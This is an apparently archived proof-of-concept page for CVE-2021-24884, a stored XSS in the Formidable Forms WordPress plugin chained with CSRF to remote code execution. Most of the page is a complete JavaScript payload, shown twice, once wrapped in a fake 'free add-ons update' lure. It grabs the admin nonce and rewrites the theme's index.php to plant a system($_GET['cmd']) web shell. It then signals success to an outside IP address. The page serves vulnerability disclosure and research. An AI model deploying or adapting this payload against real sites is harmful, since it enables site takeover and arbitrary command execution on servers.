Associated Vulnerability
Title:WordPress 跨站脚本漏洞 (CVE-2021-24884)Description:WordPress是WordPress（Wordpress）基金会的一套使用PHP语言开发的博客平台。该平台支持在PHP和MySQL的服务器上架设个人博客网站。 WordPress plugin The Formidable Form Builder 4.09.05之前版本存在跨站脚本漏洞，该漏洞源于插件对受影响系统的基于Web的条目检查页面中的链接的"data-frmverify"标签的清理不足，攻击者可以以用户的权限在受影响的系统上执行任意操作。
Description
If an authenticated user who is able to edit Wordpress PHP code in any kind, clicks a malicious link, PHP code can be edited through XSS in Formidable Forms 4.09.04.
Readme
# CVE-2021-24884
## XSS2RCE in Formidable 4.09.04
Formidable 4.09.04 allowed to inject certain HTML Tags like <audio>,<video>,<img>,<a> and <button>. This could allow an unauthenticated, remote attacker to exploit a HTML-injection by injecting a malicous link. The HTML-injection may trick authenticated users to follow the link. If the link gets clicked, Javascript code can be executed resulting in stored xss. The vulnerability is due to insufficient sanitization of the "data-frmverify" tag for links in the web-based entry inspection page of affected systems. A successful exploitation in combination with CSRF could allow the attacker to perform arbitrary actions on an affected system with the privileges of the user. These actions include stealing the users account by changing their password or allowing attackers to submit their own code through an authenticated user resulting in Remote Code Execution. If an authenticated user who is able to edit Wordpress PHP Code in any kind, clicks the malicious link, PHP code can be edited.
[Read Writeup here](https://docs.google.com/viewer?url=https://github.com/S1lkys/XSS-in-Formidable-4.09.04/raw/main/XSS-in-Formidable-4.09.04.pdf)
# Payload
```
<div>Delete this form entry?
<script>
var nonce = '';
var body = '';
var regex = /[a-z0-9]{10}/g;
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();
req.open("GET","/wordpress/wp-admin/theme-editor.php?file=index.php", true);
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send();
req.onreadystatechange = function () {
if (req.readyState == 4 && req.status == 200) {
body = req.responseText;
nonce = body.match(regex)[447];
}
};
setTimeout(() => {
confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce); //Confirm just for demonstration purpose.
req2.open("POST","/wordpress/wp-admin/admin-ajax.php", true);
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list=");
req2.onreadystatechange = function () {
if (req2.readyState == 4 && req2.status == 200) {
body = req2.responseText;
if (body.includes("true")){
console.log("Index.php edited");
var myImage = new Image(0, 0);
myImage.src = 'http://192.168.56.1:5686/index_edited';
}
else{
console.log("Something went wrong");
}
}
}
},2000);
</script>
</div>
=========================Full encoded payload============================================
Update now to get ADD-ONS for free!
Content-Disposition: form-data; name="item_meta[22]"
<img src="https://cdn.formidableforms.com/wp-content/uploads/2018/12/Update-makes-add-ons-simpler.jpg">
Because of our anniversary we issue a free Update for all our customers.
included are:
- New ADD-ONS
Only for a short time available
<a href="?page=formidable-entries&frm_action=destroy&id=444&form=4&frm-full=1" class="submitdelete" data-frmverify="<div>Delete this form entry?
 <script>
var nonce = '';
var body = '';
var regex = /[a-z0-9]{10}/g; 
var req = new XMLHttpRequest();
var req2 = new XMLHttpRequest();

req.open("GET","/wordpress/wp-admin/theme-editor.php?file=index.php", true); 
req.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req.send(); 

req.onreadystatechange = function () {
      if (req.readyState == 4 && req.status == 200) {
        body = req.responseText;
        nonce = body.match(regex)[447];
      }
    };

setTimeout(() => {
confirm(" RCE through XSS and CSRF in Formidable 4.09.04 by Silky. Wp-nonce: "+nonce);
req2.open("POST","/wordpress/wp-admin/admin-ajax.php", true); 
req2.setRequestHeader("X-Requested-With", "XMLHttpRequest");
req2.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
req2.send("nonce="+nonce+"&_wp_http_referer=%2Fwordpress%2Fwp-admin%2Ftheme-editor.php%3Ffile%3Dindex.php%26theme%3Dtwentytwentyone&newcontent=%3C%3Fphp%0A%2F**%0A+*+The+main+template+file%0A+*%0A+*+This+is+the+most+generic+template+file+in+a+WordPress+theme%0A+*+and+one+of+the+two+required+files+for+a+theme+(the+other+being+style.css).%0A+*+It+is+used+to+display+a+page+when+nothing+more+specific+matches+a+query.%0A+*+E.g.%2C+it+puts+together+the+home+page+when+no+home.php+file+exists.%0A+*%0A+*+%40link+https%3A%2F%2Fdeveloper.wordpress.org%2Fthemes%2Fbasics%2Ftemplate-hierarchy%2F%0A+*%0A+*+%40package+WordPress%0A+*+%40subpackage+Twenty_Twenty_One%0A+*+%40since+Twenty+Twenty-One+1.0%0A+*%2F%0A%0Aget_header()%3B%0Aecho+system(%24_GET%5B'cmd'%5D)%3B%0Aif+(+have_posts()+)+%7B%0A%0A%09%2F%2F+Load+posts+loop.%0A%09while+(+have_posts()+)+%7B%0A%09%09the_post()%3B%0A%0A%09%09get_template_part(+'template-parts%2Fcontent%2Fcontent'%2C+get_theme_mod(+'display_excerpt_or_full_post'%2C+'excerpt'+)+)%3B%0A%09%7D%0A%0A%09%2F%2F+Previous%2Fnext+page+navigation.%0A%09twenty_twenty_one_the_posts_navigation()%3B%0A%0A%7D+else+%7B%0A%0A%09%2F%2F+If+no+content%2C+include+the+%22No+posts+found%22+template.%0A%09get_template_part(+'template-parts%2Fcontent%2Fcontent-none'+)%3B%0A%0A%7D%0A%0Aget_footer()%3B%0A&action=edit-theme-plugin-file&file=index.php&theme=twentytwentyone&docs-list="); 

req2.onreadystatechange = function () {
      if (req2.readyState == 4 && req2.status == 200) {
        body = req2.responseText;
        if (body.includes("true")){
            console.log("Index.php edited");
            var myImage = new Image(0, 0);
            myImage.src = 'http://192.168.56.1:5686/index_edited';
        }
        else{
            console.log("Something went wrong");
        }
      }
    }
  
  },2000);


</script></div>">Update here</a>
```
# References
* https://github.com/S1lkys/XSS-in-Formidable-4.09.04/blob/main/XSS_PAYLOAD_FORMIDABLE.txt
* https://github.com/S1lkys/XSS-in-Formidable-4.09.04/blob/main/XSS-in-Formidable-4.09.04.pdf
* https://youtu.be/kBmXCXUInPQ
* https://youtu.be/kx5P6jz6SWo
* https://github.com/Strategy11/formidable-forms/blob/master/changelog.txt
* https://github.com/Strategy11/formidable-forms/pull/335/files
* https://wpscan.com/vulnerability/b57dacdd-43c2-48f8-ac1e-eb8306b22533
File Snapshot
[4.0K] /data/pocs/594fdb9bf5062b4458eb26a2fc2fc6d20b889928
├── [ 21K] README.md
├── [1.1M] XSS-in-Formidable-4.09.04.pdf
└── [ 19K] XSS_PAYLOAD_FORMIDABLE.txt
0 directories, 3 files
Remarks
1. It is advised to access via the original source first.
2. If the original source is unavailable, please email f.jinxu#gmail.com for a local snapshot (replace # with @).
3. Shenlong has snapshotted the POC code for you. To support long-term maintenance, please consider donating. Thank you for your support.